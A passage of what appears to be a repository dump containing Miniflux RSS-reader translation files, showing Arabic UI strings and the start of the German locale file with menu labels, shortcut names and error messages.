  \"form.prefs.label.default_home_page\": \"الصفحة الرئيسية الافتراضية\",\n    \"form.prefs.label.default_reading_speed\": \"سرعة القراءة للغات الأخرى (كلمة في الدقيقة)\",\n    \"form.prefs.label.display_mode\": \"وضع العرض (Progressive Web App - PWA)\",\n    \"form.prefs.label.entries_per_page\": \"عدد المقالات في الصفحة\",\n    \"form.prefs.label.entry_order\": \"عمود فرز المقالات\",\n    \"form.prefs.label.entry_sorting\": \"فرز المقالات\",\n    \"form.prefs.label.entry_swipe\": \"تفعيل التمرير للمقالات على الشاشات التي تعمل باللمس\",\n    \"form.prefs.label.external_font_hosts\": \"مضيفو الخطوط الخارجية\",\n    \"form.prefs.label.gesture_nav\": \"إيماءة للتنقل بين المقالات\",\n    \"form.prefs.label.keyboard_shortcuts\": \"تفعيل اختصارات لوحة المفاتيح\",\n    \"form.prefs.label.language\": \"اللغة\",\n    \"form.prefs.label.mark_read_manually\": \"تحديد المقالات كمقروءة يدوياً\",\n    \"form.prefs.label.mark_read_on_media_completion\": \"حدد كمقروء فقط عندما يصل تشغيل الصوت/الفيديو إلى 90% من الاكتمال\",\n    \"form.prefs.label.mark_read_on_view\": \"تحديد المقالات تلقائياً كمقروءة عند عرضها\",\n    \"form.prefs.label.mark_read_on_view_or_media_completion\": \"حدد المقالات كمقروءة عند عرضها. بالنسبة للصوت/الفيديو، حدد كمقروء عند اكتمال 90%\",\n    \"form.prefs.label.media_playback_rate\": \"سرعة تشغيل الصوت/فيديو\",\n    \"form.prefs.label.open_external_links_in_new_tab\": \"فتح الروابط الخارجية في تبويب جديد (يضيف target=\\\"_blank\\\" للروابط)\",\n    \"form.prefs.label.show_reading_time\": \"إظهار الوقت المقدر للقراءة للمقالات\",\n    \"form.prefs.label.theme\": \"السمة\",\n    \"form.prefs.label.timezone\": \"المنطقة الزمنية\",\n    \"form.prefs.select.alphabetical\": \"أبجدي\",\n    \"form.prefs.select.browser\": \"المتصفح\",\n    \"form.prefs.select.created_time\": \"وقت إنشاء المقال\",\n    \"form.prefs.select.fullscreen\": \"ملء الشاشة\",\n    \"form.prefs.select.minimal_ui\": \"الحد الأدنى\",\n    \"form.prefs.select.none\": \"بدون\",\n    \"form.prefs.select.older_first\": \"المقالات القديمة أولاً\",\n    \"form.prefs.select.publish_time\": \"وقت نشر المقال\",\n    \"form.prefs.select.recent_first\": \"المقالات الحديثة أولاً\",\n    \"form.prefs.select.standalone\": \"مستقل\",\n    \"form.prefs.select.swipe\": \"تمرير سريع\",\n    \"form.prefs.select.tap\": \"نقر مزدوج\",\n    \"form.prefs.select.unread_count\": \"عدد غير المقروءة\",\n    \"form.submit.loading\": \"جارٍ التحميل...\",\n    \"form.submit.saving\": \"جارٍ الحفظ...\",\n    \"form.user.label.admin\": \"مدير\",\n    \"form.user.label.confirmation\": \"تأكيد كلمة المرور\",\n    \"form.user.label.password\": \"كلمة المرور\",\n    \"form.user.label.username\": \"اسم المستخدم\",\n    \"menu.about\": \"حول\",\n    \"menu.add_feed\": \"إضافة مصدر\",\n    \"menu.add_user\": \"إضافة مستخدم\",\n    \"menu.api_keys\": \"مفاتيح API\",\n    \"menu.categories\": \"الفئات\",\n    \"menu.create_api_key\": \"إنشاء مفتاح API جديد\",\n    \"menu.create_category\": \"إنشاء فئة\",\n    \"menu.edit_category\": \"تعديل\",\n    \"menu.edit_feed\": \"تعديل\",\n    \"menu.export\": \"تصدير\",\n    \"menu.feed_entries\": \"المقالات\",\n    \"menu.feeds\": \"المصادر\",\n    \"menu.flush_history\": \"مسح السجل\",\n    \"menu.history\": \"السجل\",\n    \"menu.home_page\": \"الصفحة الرئيسية\",\n    \"menu.import\": \"استيراد\",\n    \"menu.integrations\": \"خدمات مرتبطة\",\n    \"menu.logout\": \"تسجيل الخروج\",\n    \"menu.mark_all_as_read\": \"تحديد الكل كمقروء\",\n    \"menu.mark_page_as_read\": \"تحديد هذه الصفحة كمقروءة\",\n    \"menu.preferences\": \"التفضيلات\",\n    \"menu.refresh_all_feeds\": \"تحديث جميع المصادر في الخلفية\",\n    \"menu.refresh_feed\": \"تحديث\",\n    \"menu.search\": \"بحث\",\n    \"menu.sessions\": \"الجلسات\",\n    \"menu.settings\": \"الإعدادات\",\n    \"menu.shared_entries\": \"المقالات المشاركة\",\n    \"menu.show_all_entries\": \"إظهار كل المقالات\",\n    \"menu.show_only_starred_entries\": \"إظهار المقالات المفضلة فقط\",\n    \"menu.show_only_unread_entries\": \"إظهار المقالات غير المقروءة فقط\",\n    \"menu.starred\": \"المفضلة\",\n    \"menu.title\": \"القائمة\",\n    \"menu.unread\": \"غير مقروء\",\n    \"menu.users\": \"المستخدمون\",\n    \"page.about.author\": \"المؤلف:\",\n    \"page.about.build_date\": \"تاريخ البناء:\",\n    \"page.about.credits\": \"شكر وتقدير\",\n    \"page.about.db_usage\": \"حجم قاعدة البيانات:\",\n    \"page.about.git_commit\": \"التزام Git:\",\n    \"page.about.global_config_options\": \"خيارات التكوين العامة\",\n    \"page.about.go_version\": \"إصدار Go:\",\n    \"page.about.license\": \"الرخصة:\",\n    \"page.about.postgres_version\": \"إصدار Postgres:\",\n    \"page.about.title\": \"حول\",\n    \"page.about.version\": \"الإصدار:\",\n    \"page.add_feed.choose_feed\": \"اختر مصدراً\",\n    \"page.add_feed.label.url\": \"الرابط\",\n    \"page.add_feed.legend.advanced_options\": \"خيارات متقدمة\",\n    \"page.add_feed.no_category\": \"لا توجد فئة. يجب أن يكون لديك فئة واحدة على الأقل.\",\n    \"page.add_feed.submit\": \"البحث عن مصدر\",\n    \"page.add_feed.title\": \"مصدر جديد\",\n    \"page.api_keys.never_used\": \"لم يُستخدم أبداً\",\n    \"page.api_keys.table.actions\": \"الإجراءات\",\n    \"page.api_keys.table.created_at\": \"تاريخ الإنشاء\",\n    \"page.api_keys.table.description\": \"الوصف\",\n    \"page.api_keys.table.last_used_at\": \"آخر استخدام\",\n    \"page.api_keys.table.token\": \"الرمز\",\n    \"page.api_keys.title\": \"مفاتيح API\",\n    \"page.categories.entries\": \"المقالات\",\n    \"page.categories.feed_count\": [\n        \"لا يوجد مصادر.\",\n        \"يوجد مصدر واحد.\",\n        \"يوجد مصدران.\",\n        \"يوجد %d مصادر.\",\n        \"يوجد %d مصدراً.\",\n        \"يوجد %d مصدراً.\"\n    ],\n    \"page.categories.feeds\": \"المصادر\",\n    \"page.categories.no_feed\": \"لا يوجد مصدر.\",\n    \"page.categories.title\": \"الفئات\",\n    \"page.categories_count\": [\n        \"%d فئة\",\n        \"فئة واحدة\",\n        \"فئتان\",\n        \"%d فئات\",\n        \"%d فئة\",\n        \"%d فئة\"\n    ],\n    \"page.category_label\": \"الفئة: %s\",\n    \"page.edit_category.title\": \"تعديل الفئة: %s\",\n    \"page.edit_feed.etag_header\": \"رأس ETag:\",\n    \"page.edit_feed.last_check\": \"آخر فحص:\",\n    \"page.edit_feed.last_modified_header\": \"رأس LastModified:\",\n    \"page.edit_feed.last_parsing_error\": \"آخر خطأ تحليل\",\n    \"page.edit_feed.no_header\": \"لا يوجد\",\n    \"page.edit_feed.title\": \"تعديل المصدر: %s\",\n    \"page.edit_user.title\": \"تعديل المستخدم: %s\",\n    \"page.entry.attachments\": \"مرفقات\",\n    \"page.feeds.error_count\": [\n        \"%d خطأ\",\n        \"خطأ واحد\",\n        \"خطآن\",\n        \"%d أخطاء\",\n        \"%d خطأً\",\n        \"%d خطأً\"\n    ],\n    \"page.feeds.last_check\": \"آخر فحص:\",\n    \"page.feeds.next_check\": \"الفحص التالي:\",\n    \"page.feeds.read_counter\": \"عدد المقالات المقروءة\",\n    \"page.feeds.title\": \"المصادر\",\n    \"page.footer.elevator\": \"العودة للأعلى\",\n    \"page.history.title\": \"السجل\",\n    \"page.import.title\": \"استيراد\",\n    \"page.integration.bookmarklet\": \"أداة الإشارة المرجعية (Bookmarklet)\",\n    \"page.integration.bookmarklet.help\": \"يتيح لك هذا الرابط الخاص الاشتراك في أي موقع ويب مباشرةً باستخدام إشارة مرجعية في متصفح الويب الخاص بك.\",\n    \"page.integration.bookmarklet.instructions\": \"اسحب وأفلت هذا الرابط إلى إشاراتك المرجعية.\",\n    \"page.integration.bookmarklet.name\": \"إضافة إلى Miniflux\",\n    \"page.integration.miniflux_api\": \"Miniflux API\",\n    \"page.integration.miniflux_api_endpoint\": \"نقطة نهاية API\",\n    \"page.integration.miniflux_api_password\": \"كلمة المرور\",\n    \"page.integration.miniflux_api_password_value\": \"كلمة مرور حسابك\",\n    \"page.integration.miniflux_api_username\": \"اسم المستخدم\",\n    \"page.integrations.title\": \"خدمات مرتبطة\",\n    \"page.keyboard_shortcuts.close_modal\": \"إغلاق النافذة المنبثقة\",\n    \"page.keyboard_shortcuts.download_content\": \"تحميل المحتوى الأصلي\",\n    \"page.keyboard_shortcuts.go_to_bottom_item\": \"الذهاب إلى آخر عنصر\",\n    \"page.keyboard_shortcuts.go_to_categories\": \"الذهاب إلى الفئات\",\n    \"page.keyboard_shortcuts.go_to_feed\": \"الذهاب إلى المصدر\",\n    \"page.keyboard_shortcuts.go_to_feeds\": \"الذهاب إلى المصادر\",\n    \"page.keyboard_shortcuts.go_to_history\": \"الذهاب إلى السجل\",\n    \"page.keyboard_shortcuts.go_to_next_item\": \"الذهاب إلى العنصر التالي\",\n    \"page.keyboard_shortcuts.go_to_next_page\": \"الذهاب إلى الصفحة التالية\",\n    \"page.keyboard_shortcuts.go_to_previous_item\": \"الذهاب إلى العنصر السابق\",\n    \"page.keyboard_shortcuts.go_to_previous_page\": \"الذهاب إلى الصفحة السابقة\",\n    \"page.keyboard_shortcuts.go_to_search\": \"التركيز على نموذج البحث\",\n    \"page.keyboard_shortcuts.go_to_settings\": \"الذهاب إلى الإعدادات\",\n    \"page.keyboard_shortcuts.go_to_starred\": \"الذهاب إلى المفضلة\",\n    \"page.keyboard_shortcuts.go_to_top_item\": \"الذهاب إلى أعلى عنصر\",\n    \"page.keyboard_shortcuts.go_to_unread\": \"الذهاب إلى غير المقروءة\",\n    \"page.keyboard_shortcuts.mark_page_as_read\": \"تحديد الصفحة الحالية كمقروءة\",\n    \"page.keyboard_shortcuts.open_comments\": \"فتح رابط التعليقات\",\n    \"page.keyboard_shortcuts.open_comments_same_window\": \"فتح رابط التعليقات في التبويب الحالي\",\n    \"page.keyboard_shortcuts.open_item\": \"فتح العنصر المحدد\",\n    \"page.keyboard_shortcuts.open_original\": \"فتح الرابط الأصلي\",\n    \"page.keyboard_shortcuts.open_original_same_window\": \"فتح الرابط الأصلي في التبويب الحالي\",\n    \"page.keyboard_shortcuts.refresh_all_feeds\": \"تحديث جميع المصادر في الخلفية\",\n    \"page.keyboard_shortcuts.remove_feed\": \"حذف هذا المصدر\",\n    \"page.keyboard_shortcuts.save_article\": \"حفظ المقال\",\n    \"page.keyboard_shortcuts.scroll_item_to_top\": \"تمرير العنصر إلى الأعلى\",\n    \"page.keyboard_shortcuts.show_keyboard_shortcuts\": \"إظهار اختصارات لوحة المفاتيح\",\n    \"page.keyboard_shortcuts.subtitle.actions\": \"الإجراءات\",\n    \"page.keyboard_shortcuts.subtitle.items\": \"التنقل بين العناصر\",\n    \"page.keyboard_shortcuts.subtitle.pages\": \"التنقل بين الصفحات\",\n    \"page.keyboard_shortcuts.subtitle.sections\": \"التنقل بين الأقسام\",\n    \"page.keyboard_shortcuts.title\": \"اختصارات لوحة المفاتيح\",\n    \"page.keyboard_shortcuts.toggle_star_status\": \"تبديل المفضلة\",\n    \"page.keyboard_shortcuts.toggle_entry_attachments\": \"تبديل فتح/إغلاق مرفقات المقال\",\n    \"page.keyboard_shortcuts.toggle_read_status_next\": \"تبديل مقروء/غير مقروء، التركيز على التالي\",\n    \"page.keyboard_shortcuts.toggle_read_status_prev\": \"تبديل مقروء/غير مقروء، التركيز على السابق\",\n    \"page.login.google_signin\": \"تسجيل الدخول باستخدام Google\",\n    \"page.login.oidc_signin\": \"تسجيل الدخول باستخدام %s\",\n    \"page.login.title\": \"تسجيل الدخول\",\n    \"page.login.webauthn_login\": \"تسجيل الدخول عبر مفتاح مرور (Passkey)\",\n    \"page.login.webauthn_login.error\": \"تعذر تسجيل الدخول باستخدام مفتاح المرور\",\n    \"page.login.webauthn_login.help\": \"يرجى إدخال اسم المستخدم إذا كنت تستخدم مفتاح أمان. هذا غير مطلوب إذا كنت تستخدم مفتاح مرور (بيانات اعتماد قابلة للاكتشاف).\",\n    \"page.new_api_key.title\": \"مفتاح API جديد\",\n    \"page.new_category.title\": \"فئة جديدة\",\n    \"page.new_user.title\": \"مستخدم جديد\",\n    \"page.offline.message\": \"أنت غير متصل بالإنترنت\",\n    \"page.offline.refresh_page\": \"حاول تحديث الصفحة\",\n    \"page.offline.title\": \"وضع عدم الاتصال\",\n    \"page.read_entry_count\": [\n        \"%d مقال مقروء\",\n        \"مقال واحد مقروء\",\n        \"مقالان مقروءان\",\n        \"%d مقالات مقروءة\",\n        \"%d مقالاً مقروءاً\",\n        \"%d مقالاً مقروءاً\"\n    ],\n    \"page.search.title\": \"نتائج البحث\",\n    \"page.sessions.table.actions\": \"الإجراءات\",\n    \"page.sessions.table.current_session\": \"الجلسة الحالية\",\n    \"page.sessions.table.date\": \"التاريخ\",\n    \"page.sessions.table.ip\": \"عنوان IP\",\n    \"page.sessions.table.user_agent\": \"وكيل المستخدم (User Agent)\",\n    \"page.sessions.title\": \"الجلسات\",\n    \"page.settings.link_google_account\": \"ربط حسابي في Google\",\n    \"page.settings.link_oidc_account\": \"ربط حسابي في %s\",\n    \"page.settings.title\": \"الإعدادات\",\n    \"page.settings.unlink_google_account\": \"فك ارتباط حسابي في Google\",\n    \"page.settings.unlink_oidc_account\": \"فك ارتباط حسابي في %s\",\n    \"page.settings.webauthn.actions\": \"الإجراءات\",\n    \"page.settings.webauthn.added_on\": \"أضيف في\",\n    \"page.settings.webauthn.delete\": [\n        \"إزالة %d مفتاح مرور\",\n        \"إزالة مفتاح مرور واحد\",\n        \"إزالة مفتاحي مرور\",\n        \"إزالة %d مفاتيح مرور\",\n        \"إزالة %d مفتاح مرور\",\n        \"إزالة %d مفتاح مرور\"\n    ],\n    \"page.settings.webauthn.last_seen_on\": \"آخر استخدام\",\n    \"page.settings.webauthn.passkey_name\": \"اسم مفتاح المرور\",\n    \"page.settings.webauthn.passkeys\": \"مفاتيح المرور\",\n    \"page.settings.webauthn.register\": \"تسجيل مفتاح مرور\",\n    \"page.settings.webauthn.register.error\": \"تعذر تسجيل مفتاح المرور\",\n    \"page.shared_entries.title\": \"المقالات المشاركة\",\n    \"page.shared_entries_count\": [\n        \"%d مقال مشترك\",\n        \"مقال واحد مشترك\",\n        \"مقالان مشتركان\",\n        \"%d مقالات مشتركة\",\n        \"%d مقالاً مشتركاً\",\n        \"%d مقالاً مشتركاً\"\n    ],\n    \"page.starred.title\": \"المفضلة\",\n    \"page.starred_entry_count\": [\n        \"%d مقال مفضل\",\n        \"مقال واحد مفضل\",\n        \"مقالان مفضلان\",\n        \"%d مقالات مفضلة\",\n        \"%d مقالاً مفضلاً\",\n        \"%d مقالاً مفضلاً\"\n    ],\n    \"page.total_entry_count\": [\n        \"%d مقال في الإجمالي\",\n        \"مقال واحد في الإجمالي\",\n        \"مقالان في الإجمالي\",\n        \"%d مقالات في الإجمالي\",\n        \"%d مقالاً في الإجمالي\",\n        \"%d مقالاً في الإجمالي\"\n    ],\n    \"page.unread.title\": \"غير المقروءة\",\n    \"page.unread_entry_count\": [\n        \"%d مقال غير مقروء\",\n        \"مقال واحد غير مقروء\",\n        \"مقالان غير مقروءين\",\n        \"%d مقالات غير مقروءة\",\n        \"%d مقالاً غير مقروء\",\n        \"%d مقالاً غير مقروء\"\n    ],\n    \"page.users.actions\": \"الإجراءات\",\n    \"page.users.admin.no\": \"لا\",\n    \"page.users.admin.yes\": \"نعم\",\n    \"page.users.is_admin\": \"مدير\",\n    \"page.users.last_login\": \"آخر دخول\",\n    \"page.users.never_logged\": \"أبداً\",\n    \"page.users.title\": \"المستخدمون\",\n    \"page.users.username\": \"اسم المستخدم\",\n    \"page.webauthn_rename.title\": \"إعادة تسمية مفتاح المرور\",\n    \"pagination.first\": \"الأول\",\n    \"pagination.last\": \"الأخير\",\n    \"pagination.next\": \"التالي\",\n    \"pagination.previous\": \"السابق\",\n    \"search.label\": \"بحث\",\n    \"search.placeholder\": \"بحث...\",\n    \"search.submit\": \"بحث\",\n    \"skip_to_content\": \"تخطي إلى المحتوى\",\n    \"time_elapsed.days\": [\n        \"منذ %d يوم\",\n        \"منذ يوم واحد\",\n        \"منذ يومين\",\n        \"منذ %d أيام\",\n        \"منذ %d يوماً\",\n        \"منذ %d يوماً\"\n    ],\n    \"time_elapsed.hours\": [\n        \"منذ %d ساعة\",\n        \"منذ ساعة واحدة\",\n        \"منذ ساعتين\",\n        \"منذ %d ساعات\",\n        \"منذ %d ساعة\",\n        \"منذ %d ساعة\"\n    ],\n    \"time_elapsed.minutes\": [\n        \"منذ %d دقيقة\",\n        \"منذ دقيقة واحدة\",\n        \"منذ دقيقتين\",\n        \"منذ %d دقائق\",\n        \"منذ %d دقيقة\",\n        \"منذ %d دقيقة\"\n    ],\n    \"time_elapsed.months\": [\n        \"منذ %d شهر\",\n        \"منذ شهر واحد\",\n        \"منذ شهرين\",\n        \"منذ %d أشهر\",\n        \"منذ %d شهراً\",\n        \"منذ %d شهراً\"\n    ],\n    \"time_elapsed.not_yet\": \"ليس بعد\",\n    \"time_elapsed.now\": \"الآن\",\n    \"time_elapsed.weeks\": [\n        \"منذ %d أسبوع\",\n        \"منذ أسبوع واحد\",\n        \"منذ أسبوعين\",\n        \"منذ %d أسابيع\",\n        \"منذ %d أسبوعاً\",\n        \"منذ %d أسبوعاً\"\n    ],\n    \"time_elapsed.years\": [\n        \"منذ %d سنة\",\n        \"منذ سنة واحدة\",\n        \"منذ سنتين\",\n        \"منذ %d سنوات\",\n        \"منذ %d سنة\",\n        \"منذ %d سنة\"\n    ],\n    \"time_elapsed.yesterday\": \"أمس\",\n    \"tooltip.keyboard_shortcuts\": \"اختصار لوحة المفاتيح: %s\",\n    \"tooltip.logged_user\": \"تم تسجيل الدخول باسم %s\"\n}\n"
  },
  {
    "path": "internal/locale/translations/de_DE.json",
    "content": "{\n    \"action.cancel\": \"abbrechen\",\n    \"action.download\": \"Herunterladen\",\n    \"action.edit\": \"Bearbeiten\",\n    \"action.home_screen\": \"Zum Startbildschirm hinzufügen\",\n    \"action.import\": \"Importieren\",\n    \"action.login\": \"Anmelden\",\n    \"action.or\": \"oder\",\n    \"action.remove\": \"Entfernen\",\n    \"action.remove_feed\": \"Dieses Abonnement entfernen\",\n    \"action.save\": \"Speichern\",\n    \"action.subscribe\": \"Abonnieren\",\n    \"action.update\": \"Aktualisieren\",\n    \"alert.account_linked\": \"Ihr externes Konto wurde verknüpft!\",\n    \"alert.account_unlinked\": \"Ihr externer Account ist jetzt getrennt!\",\n    \"alert.background_feed_refresh\": \"Alle Abonnements werden derzeit im Hintergrund aktualisiert. Sie können Miniflux weiterhin benutzen, während dieser Prozess ausgeführt wird.\",\n    \"alert.feed_error\": \"Es gibt ein Problem mit diesem Abonnement\",\n    \"alert.no_starred\": \"Es existieren derzeit keine markierten Artikel.\",\n    \"alert.no_category\": \"Es ist keine Kategorie vorhanden.\",\n    \"alert.no_category_entry\": \"Es befindet sich kein Artikel in dieser Kategorie.\",\n    \"alert.no_feed\": \"Es sind keine Abonnements vorhanden.\",\n    \"alert.no_feed_entry\": \"Es existiert kein Artikel für dieses Abonnement.\",\n    \"alert.no_feed_in_category\": \"Für diese Kategorie gibt es kein Abonnement.\",\n    \"alert.no_history\": \"Es existiert zur Zeit kein Verlauf.\",\n    \"alert.no_search_result\": \"Es gibt kein Ergebnis für diese Suche.\",\n    \"alert.no_shared_entry\": \"Es existieren derzeit keine geteilten Artikel.\",\n    \"alert.no_tag_entry\": \"Es gibt keine Artikel, die diesem Tag entsprechen.\",\n    \"alert.no_unread_entry\": \"Es existiert kein ungelesener Artikel.\",\n    \"alert.no_user\": \"Sie sind der einzige Benutzer.\",\n    \"alert.prefs_saved\": \"Einstellungen gespeichert!\",\n    \"alert.too_many_feeds_refresh\": [\n        \"Sie haben zu viele Aktualisierungen ausgelöst. Bitte warten Sie %d Minute, bevor Sie es erneut versuchen.\",\n        \"Sie haben zu viele Aktualisierungen ausgelöst. Bitte warten Sie %d Minuten, bevor Sie es erneut versuchen.\"\n    ],\n    \"confirm.loading\": \"In Arbeit...\",\n    \"confirm.no\": \"nein\",\n    \"confirm.question\": \"Sind Sie sicher?\",\n    \"confirm.question.refresh\": \"Möchten Sie eine erzwungene Aktualisierung durchführen?\",\n    \"confirm.yes\": \"ja\",\n    \"enclosure_media_controls.seek\": \"Vorspulen:\",\n    \"enclosure_media_controls.seek.title\": \"%s Sekunden vorspulen\",\n    \"enclosure_media_controls.speed\": \"Geschwindigkeit:\",\n    \"enclosure_media_controls.speed.faster\": \"Schneller\",\n    \"enclosure_media_controls.speed.faster.title\": \"%sx schneller\",\n    \"enclosure_media_controls.speed.reset\": \"Zurücksetzen\",\n    \"enclosure_media_controls.speed.reset.title\": \"Wiedergabegeschwindigkeit auf 1x zurücksetzen\",\n    \"enclosure_media_controls.speed.slower\": \"Langsamer\",\n    \"enclosure_media_controls.speed.slower.title\": \"%sx langsamer\",\n    \"entry.starred.toast.off\": \"Nicht markiert\",\n    \"entry.starred.toast.on\": \"Markiert\",\n    \"entry.starred.toggle.off\": \"Markierung entfernen\",\n    \"entry.starred.toggle.on\": \"Markierung hinzufügen\",\n    \"entry.comments.label\": \"Kommentare\",\n    \"entry.comments.title\": \"Kommentare anzeigen\",\n    \"entry.estimated_reading_time\": [\n        \"%d Minute zu lesen\",\n        \"%d Minuten zu lesen\"\n    ],\n    \"entry.external_link.label\": \"Externer Link\",\n    \"entry.save.completed\": \"Erledigt!\",\n    \"entry.save.label\": \"Speichern\",\n    \"entry.save.title\": \"Diesen Artikel speichern\",\n    \"entry.save.toast.completed\": \"Artikel gespeichert\",\n    \"entry.scraper.completed\": \"Erledigt!\",\n    \"entry.scraper.label\": \"Herunterladen\",\n    \"entry.scraper.title\": \"Inhalt herunterladen\",\n    \"entry.share.label\": \"Teilen\",\n    \"entry.share.title\": \"Diesen Artikel teilen\",\n    \"entry.shared_entry.label\": \"Teilen\",\n    \"entry.shared_entry.title\": \"Öffnen Sie den öffentlichen Link\",\n    \"entry.state.loading\": \"Lade...\",\n    \"entry.state.saving\": \"Speichern...\",\n    \"entry.status.mark_as_read\": \"Als gelesen markieren\",\n    \"entry.status.mark_as_unread\": \"Als ungelesen markieren\",\n    \"entry.status.title\": \"Status des Artikels ändern\",\n    \"entry.status.toast.read\": \"Als gelesen markiert\",\n    \"entry.status.toast.unread\": \"Als ungelesen markiert\",\n    \"entry.tags.label\": \"Stichworte:\",\n    \"entry.tags.more_tags_label\": [\n        \"Zeige %d weiteres Schlagwort\",\n        \"Zeige %d weitere Schlagwörter\"\n    ],\n    \"entry.unshare.label\": \"Nicht teilen\",\n    \"error.api_key_already_exists\": \"Dieser API-Schlüssel ist bereits vorhanden.\",\n    \"error.bad_credentials\": \"Benutzername oder Passwort ungültig.\",\n    \"error.category_already_exists\": \"Diese Kategorie existiert bereits.\",\n    \"error.category_not_found\": \"Diese Kategorie existiert nicht oder gehört nicht zu diesem Benutzer.\",\n    \"error.database_error\": \"Datenbank-Fehler: %v.\",\n    \"error.different_passwords\": \"Passwörter stimmen nicht überein.\",\n    \"error.duplicate_fever_username\": \"Es existiert bereits jemand mit diesem Fever-Benutzernamen!\",\n    \"error.duplicate_googlereader_username\": \"Es existiert bereits jemand mit diesem Google-Reader-Benutzernamen!\",\n    \"error.duplicate_linked_account\": \"Es ist bereits jemand mit diesem Anbieter assoziiert!\",\n    \"error.duplicated_feed\": \"Dieses Abonnement existiert bereits.\",\n    \"error.empty_file\": \"Diese Datei ist leer.\",\n    \"error.entries_per_page_invalid\": \"Die Anzahl der Artikel pro Seite ist ungültig.\",\n    \"error.feed_already_exists\": \"Dieser Feed existiert bereits.\",\n    \"error.feed_category_not_found\": \"Diese Kategorie existiert nicht oder gehört nicht zu diesem Benutzer.\",\n    \"error.feed_format_not_detected\": \"Das Format des Abonnements kann nicht erkannt werden: %v.\",\n    \"error.feed_invalid_blocklist_rule\": \"Die Blockierregel ist ungültig.\",\n    \"error.feed_invalid_keeplist_rule\": \"Die Erlaubnisregel ist ungültig.\",\n    \"error.feed_mandatory_fields\": \"Die URL und die Kategorie sind obligatorisch.\",\n    \"error.feed_not_found\": \"Dieses Abonnement existiert nicht oder gehört nicht zu diesem Benutzer.\",\n    \"error.feed_title_not_empty\": \"Der Feed-Titel darf nicht leer sein.\",\n    \"error.feed_url_not_empty\": \"Der Feed-URL darf nicht leer sein.\",\n    \"error.fields_mandatory\": \"Alle Felder sind obligatorisch.\",\n    \"error.http_bad_gateway\": \"Die Webseite ist aufgrund eines Bad-Gateway-Fehlers derzeit nicht verfügbar. Das Problem liegt nicht bei Miniflux. Bitte versuchen Sie es später erneut.\",\n    \"error.http_body_read\": \"Der HTTP-Inhalt kann nicht gelesen werden: %v\",\n    \"error.http_client_error\": \"HTTP-Client-Fehler: %v.\",\n    \"error.http_empty_response\": \"Die HTTP-Antwort ist leer. Vielleicht versucht die Webseite, sich vor Bots zu schützen?\",\n    \"error.http_empty_response_body\": \"Der Inhalt der HTTP-Antwort ist leer.\",\n    \"error.http_forbidden\": \"Der Zugriff auf diese Webseite ist verboten. Vielleicht versucht die Webseite, sich vor Bots zu schützen?\",\n    \"error.http_gateway_timeout\": \"Die Webseite ist aufgrund eines Gateway-Timeout-Fehlers derzeit nicht verfügbar. Das Problem liegt nicht bei Miniflux. Bitte versuchen Sie es später erneut.\",\n    \"error.http_internal_server_error\": \"Die Webseite steht durch einen Server-Fehler derzeit nicht zur Verfügung. Versuchen Sie es bitte später erneut.\",\n    \"error.http_not_authorized\": \"Der Zugriff auf diese Website ist nicht erlaubt. Möglicherweise ist der Benutzername oder das Passwort falsch.\",\n    \"error.http_resource_not_found\": \"Die gewünschte Quelle wurde nicht gefunden. Bitte stellen Sie sicher, dass die URL korrekt ist.\",\n    \"error.http_response_too_large\": \"Die HTTP-Antwort ist zu groß. Sie könnten die Grenze für die Größe der HTTP-Antwort in den globalen Einstellungen erhöhen (benötigt einen Neustart des Servers)\",\n    \"error.http_service_unavailable\": \"Die Webseite ist aufgrund eines Internal-Server-Fehlers derzeit nicht verfügbar. Das Problem liegt nicht bei Miniflux. Bitte versuchen Sie es später erneut.\",\n    \"error.http_too_many_requests\": \"Miniflux hat zu viele Anfragen an diese Webseite gestellt. Bitte versuchen Sie es später erneut oder ändern Sie die Konfiguration der Anwendung.\",\n    \"error.http_unexpected_status_code\": \"Die Webseite ist aufgrund eines eines unerwarteten HTTP-Fehlers derzeit nicht verfügbar: %d. Das Problem liegt nicht bei Miniflux. Bitte versuchen Sie es später erneut.\",\n    \"error.invalid_categories_sorting_order\": \"Ungültige Kategorie-Sortierreihenfolge.\",\n    \"error.invalid_default_home_page\": \"Ungültige Standard-Startseite!\",\n    \"error.invalid_display_mode\": \"Progressive-Web-App- (PWA-)Anzeigemodus\",\n    \"error.invalid_entry_direction\": \"Ungültige Sortierreihenfolge.\",\n    \"error.invalid_entry_order\": \"Ungültige Sortierreihenfolge.\",\n    \"error.invalid_feed_proxy_url\": \"Ungültige Proxy-URL.\",\n    \"error.invalid_feed_url\": \"Ungültiger Feed-URL.\",\n    \"error.invalid_gesture_nav\": \"Ungültige Gestennavigation.\",\n    \"error.invalid_language\": \"Ungültige Sprache.\",\n    \"error.invalid_site_url\": \"Ungültiger Site-URL.\",\n    \"error.invalid_theme\": \"Ungültiges Thema.\",\n    \"error.invalid_timezone\": \"Ungültige Zeitzone.\",\n    \"error.network_operation\": \"Miniflux kann die Webseite aufgrund eines Netzwerk-Fehlers nicht erreichen: %v\",\n    \"error.network_timeout\": \"Die Webseite ist zu langsam und die Anfrage ist abgelaufen: %v.\",\n    \"error.password_min_length\": \"Wenigstens 6 Zeichen müssen genutzt werden.\",\n    \"error.proxy_url_not_empty\": \"Die Proxy-URL darf nicht leer sein.\",\n    \"error.settings_block_rule_fieldname_invalid\": \"Ungültige Blockierregel: Regel #%d hat keinen gültigen Feldnamen (Optionen: %s)\",\n    \"error.settings_block_rule_invalid_regex\": \"Ungültige Blockierregel: Das Muster für Regel #%d ist kein zulässiger regulärer Ausdruck\",\n    \"error.settings_block_rule_regex_required\": \"Ungültige Blockierregel: Regel #%d hat kein Muster\",\n    \"error.settings_block_rule_separator_required\": \"Ungültige Blockierregel: Das Muster für Regel #%d muss per '=' getrennt werden\",\n    \"error.settings_invalid_domain_list\": \"Ungültige Domainliste. Bitte geben Sie eine per Leerzeichen getrennte Liste von Domains an.\",\n    \"error.settings_keep_rule_fieldname_invalid\": \"Ungültige Erlaubnisregel: Regel #%d hat keinen gültigen Feldnamen (Optionen: %s)\",\n    \"error.settings_keep_rule_invalid_regex\": \"Ungültige Erlaubnisregel: Das Muster für Regel #%d ist kein zulässiger regulärer Ausdruck\",\n    \"error.settings_keep_rule_regex_required\": \"Ungültige Erlaubnisregel: Regel #%d hat kein Muster\",\n    \"error.settings_keep_rule_separator_required\": \"Ungültige Erlaubnisregel: Das Muster für Regel #%d muss per '=' getrennt werden\",\n    \"error.settings_mandatory_fields\": \"Die Felder für Benutzername, Thema, Sprache und Zeitzone sind obligatorisch.\",\n    \"error.settings_media_playback_rate_range\": \"Die Wiedergabegeschwindigkeit liegt außerhalb des Bereichs\",\n    \"error.settings_reading_speed_is_positive\": \"Die Lesegeschwindigkeiten müssen positive ganze Zahlen 